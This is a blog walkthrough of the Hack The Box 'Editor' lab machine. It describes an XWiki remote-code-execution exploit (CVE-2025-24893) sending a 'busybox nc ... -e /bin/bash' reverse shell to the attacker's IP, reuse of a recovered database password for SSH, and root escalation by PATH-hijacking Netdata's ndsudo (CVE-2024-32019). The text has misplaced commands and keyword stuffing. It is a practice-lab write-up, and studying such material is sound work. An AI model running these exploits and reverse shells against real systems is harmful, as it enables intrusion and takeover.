Advertisement

Main Ad

Editor HTB Walkthrough

Welcome to another Hack the Box exercise. In this walkthrough, I have documented how I owned the Editor machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs. You can also test and grow your penetration testing skills, from gathering information to reporting. If you are new to this blog, please do not forget to like, comment and subscribe to my YouTube channel and follow me on LinkedIn for more updates.

About the Machine

Editor is an Easy Linux machine that combines web exploitation, credential reuse, and privilege escalation in a realistic attack chain. The initial foothold is obtained by exploiting a vulnerable version of XWiki (CVE-2025-24893) running on port 8080, which allows remote code execution and provides shell access as the low-privileged xwiki user. Further enumeration of configuration files reveals database credentials that are reused by the system user oliver, granting SSH access and user-level flag retrieval.

Privilege escalation is achieved through a misconfigured Netdata ndsudo plugin affected by CVE-2024-32019. By compiling a malicious binary and manipulating the PATH, an attacker can escalate privileges to root and capture the final flag. Overall, Editor is a well-balanced machine that teaches the importance of patch management, credential hygiene, and the risks of insecure SUID binaries in production systems.

editor hack the box walkthrough

The first step in pwning the Editor machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:
editor htb walkthrough

After the connection has been set up, I started the target machine, and I was assigned an IP address of 10.10.11.80.

editor htb writeup

Then I performed reconnaissance using Nmap to find all the open port and services associated with the target machine. Using the following command, I found all the services and port running at 10.10.11.80:
editor hack the box writeup

The Nmap scan revealed that three ports were open:

  • Port 22 (SSH) — running OpenSSH 8.9p1 on Ubuntu.
  • Port 80 (HTTP) — serving content through nginx 1.18.0. The HTTP title revealed "Editor – SimplistCode Pro"
  • Port 8080 (HTTP) — running Jetty 10.0.20, hosting XWiki at /xwiki/bin/view/Main/. XWiki is a Java-based wiki platform, and this instance exposed WebDAV methods (PROPFIND, LOCK, UNLOCK) — potentially dangerous if misconfigured.

The WebDAV scan hinted that the server might allow certain file operations via HTTP methods not normally available. The robots.txt file was particularly interesting — it listed 50 disallowed paths, many related to editing, creating, and deleting wiki content.

From the OS detection, the host appeared to be running Linux kernel 5.x, with a possibility of MikroTik RouterOS somewhere in the path — probably part of the network routing rather than the target OS itself.

At this stage, my gut told me the real action was going to be in XWiki on port 8080, with nginx on port 80 possibly acting as the public-facing front end. Given the presence of editing-related paths in robots.txt and risky HTTP methods, it was clear my next move was to dig into the wiki’s configuration and see if I could find any way to gain write or upload access.


Since Nmap revealed that the site was identifying itself as editor.htb, I decided to map the target machine IP address to the domain name. This way, I could access the service by name instead of by IP:
10.10.11.80   editor.htb

I appended the following line:
sudo nano /etc/hosts

With the hostname in place, I pointed my browser to http://editor.htb:8080/. The page loaded a clean, wiki-style interface — a quick glance at the footer confirmed it was running XWiki Debian 15.10.8.

http://editor.htb:8080/xwiki/bin/view/Main/

This was a big lead. XWiki is a Java-based wiki platform, and certain versions are known to have vulnerabilities, especially when editing features or administrative pages are exposed. Given that my earlier Nmap scan had already uncovered a robots.txt file full of editing-related paths, I suspected there might be misconfigurations or outdated components here that I could exploit.

Knowing the site was running XWiki Debian 15.10.8, I immediately went hunting for any public exploits tied to that version. It didn’t take long I found CVE-2025-24893, a recently disclosed Remote Code Execution (RCE) vulnerability affecting XWiki versions prior to 15.10.11, 16.4.1, and 16.5.0RC1.

XWiki Debian 15.10.8 exploit proof of concept

The flaw allowed an attacker to execute arbitrary code on the server by abusing a vulnerable component within XWiki’s scripting engine. Since my target was running 15.10.8 — squarely in the vulnerable range — this was definitely worth trying.

I located a working proof-of-concept on GitHub:

https://github.com/gunzf0x/CVE-2025-24893
git clone https://github.com/gunzf0x/CVE-2025-24893.git

I cloned the repository and reviewed the script to understand its payload delivery method and required parameters. Confident in the setup, I prepared to run the PoC against http://editor.htb:8080/ to test whether the vulnerability was exploitable in this environment.

Before launching the exploit, I needed to make sure my reverse shell would call back to the right address.

ifconfig 10.10.14.45

A quick check with ifconfig showed that my VPN interface tun0 was assigned the IP 10.10.14.45 — this would be the address the target connects back to once the payload executes.

With that in hand, I navigated into the cloned exploit directory:

The proof-of-concept script allowed me to specify a target URL and the command to execute remotely. Since the goal was to pop a reverse shell, I chose a lightweight one-liner using busybox and netcat:
python CVE-2025-24893.py -t http://editor.htb:8080/ -c 'busybox nc 10.10.14.45 4444 -e /bin/bash'

The script injected the payload into XWiki via a specially crafted request to the vulnerable SolrSearch endpoint:
Once sent, the output confirmed:
python CVE-2024-24893.py -t http://editor.htb:8080/ -c 'busybox nc 10.10.14.45 4444 -e /bin/bash'

That meant the server had received and executed my command — now I just needed to catch the connection. On my attacking machine, I set up a netcat listener on port 4444:
nc -lvnp 4444

With my reverse shell successfully connected, I started poking around the XWiki installation directory to see if any sensitive configuration files were lying around. A quick look under /usr/lib/xwiki/WEB-INF revealed a promising candidate — hibernate.cfg.xml.

Hibernate configuration files often contain database credentials, so I decided to check for any password fields:

The output didn’t disappoint. Multiple entries showed default xwiki passwords, but one line immediately stood out:
This looked like a real, non-default password — likely the production database credential for the XWiki instance. It could also double as a system or SSH password if the admin had reused credentials.

While exploring the system, I eventually checked /home/ to see which user accounts existed. Among the directories, one in particular caught my attention — oliver. Since I had already recovered a potential password (theEd1t0rTeam99) from the XWiki configuration file, I decided to see if it worked for this account over SSH.

From my attack machine, I ran:

ssh oliver@10.10.11.80

When prompted for a password, I entered theEd1t0rTeam99. To my satisfaction, the login succeeded, and I was greeted with a shell as oliver@editor — a much more stable foothold than my initial reverse shell.

The first thing I did was check the home directory for the user flag:

Sure enough, there it was — user.txt. I wasted no time in reading its contents:
editor htb walkthrough editor hack the box walkthrough editor htb writeup editor hack the box writeup

Hurray!!! I got my user flag, marking my first official milestone on this machine.

editor hack the box walkthrough
With the user flag secured, it was time to shift focus toward privilege escalation and hunting for the root flag.

With the user flag secured, I turned my attention to privilege escalation. A common first step is to search the system for SUID binaries — files that run with the permissions of their owner (often root), even when executed by a normal user. This can sometimes lead to privilege escalation if the binary is vulnerable or misconfigured.

I ran the following command to look for any files owned by root with the SUID bit set:

find / -user root -perm -4000 -print 2>/dev/null

The output contained the usual suspects like /usr/bin/passwd, /usr/bin/su, and /usr/bin/sudo, but one entry immediately stood out:
I hadn’t seen ndsudo before. Given its location under /opt/netdata/, it appeared to be part of the Netdata monitoring suite. The name suggested it might be a privileged helper tool — and if it was improperly restricted, it could potentially be abused to run commands as root.

At this point, my plan was to investigate ndsudo’s purpose, check its permissions, and see whether it could be leveraged to execute arbitrary commands with elevated privileges.

editor hack the box writeup

Digging deeper into the suspicious ndsudo binary, I decided to see if it had any known vulnerabilities. A quick search led me to a GitHub repository by AzureADTrent containing a proof-of-concept for CVE-2024-32019 - a local privilege escalation targeting the ndsudo utility bundled with Netdata.

According to the write-up, ndsudo can be tricked into executing arbitrary commands as root by abusing its handling of trusted commands. Specifically, the exploit works by planting a malicious binary in a directory that appears early in the user’s PATH environment variable. When ndsudo attempts to run a legitimate tool - in this case nvme - it will instead execute the attacker’s fake binary, but with root privileges.

This meant I didn’t need a memory corruption or race condition - just a bit of path hijacking. If successful, I’d be able to run any command I wanted as root, effectively giving me full control of the system.

My next step was clear: recreate the PoC’s setup, poison the PATH, and let ndsudo do the privilege escalation for me. With the PoC in hand, I cloned the exploit repository to my local machine:

git clone https://github.com/AzureADTrent/CVE-2024-32019-POC.git

Inside, I found a short but powerful C program (poc.c) that made the exploit’s intent crystal clear. The code simply set the user ID and group ID to 0 (root) and then executed /bin/bash. Essentially, this binary would become a root shell as soon as it was run by ndsudo.
cat poc.c

I compiled it, naming the output nvme so it would impersonate the legitimate command ndsudo expects to run:
Next, I needed to get the malicious nvme binary onto the target machine. I used SCP to copy it over to /tmp/ on the editor.htb box:
scp nvme oliver@editor.htb:/tmp/

Since it was my first time using SCP with this host, SSH warned me about the unknown key fingerprint. I confirmed the connection, entered oliver’s password (theEd1t0rTeam99), and successfully transferred the binary.
With the payload in place, the stage was set — I just needed to manipulate my PATH and trick ndsudo into running this fake nvme to escalate straight to root.

With my malicious nvme binary sitting in /tmp/, I made it executable:
The next step was to hijack the PATH environment variable so that when ndsudo tried to execute nvme, it would actually run my trojanized version in /tmp/ instead of the legitimate one:
Now everything was ready. I invoked the vulnerable ndsudo utility with the nvme-list command:
chmod +x /tmp/nvme

(Note: When you run /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list and you get the error nvme : not available in PATH, try to run scp nvme oliver@editor.htb:/tmp/ command and it would work on the second attempt)

The exploit worked flawlessly. Instead of running the real nvme, ndsudo executed my malicious binary - and because it ran with elevated privileges, I was instantly dropped into a root shell:
From here, claiming the final prize was straightforward. I navigated into the /root/ directory and read the root flag:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

Hurray!!! I got the root flag. With that, the machine was officially pwned.
editor htb walkthrough hack the box walkthrough htb writeup hack the box writeup

If you enjoy reading my walkthrough, do not forget to like, comment, and subscribe to my YouTube channel and also connect with me on LinkedIn. Also, don't forget to turn on post notification on my YouTube channel and medium to get notification as soon as I write.

Subscribe to my YouTube channel: https://www.youtube.com/@BoltechTechnologies1
Follow me on Medium: https://medium.com/@boltech
Follow me on Twitter: https://x.com/Isiaq_Ibrahim99
Follow me on Twitter: https://x.com/BoltechNG

Post a Comment

0 Comments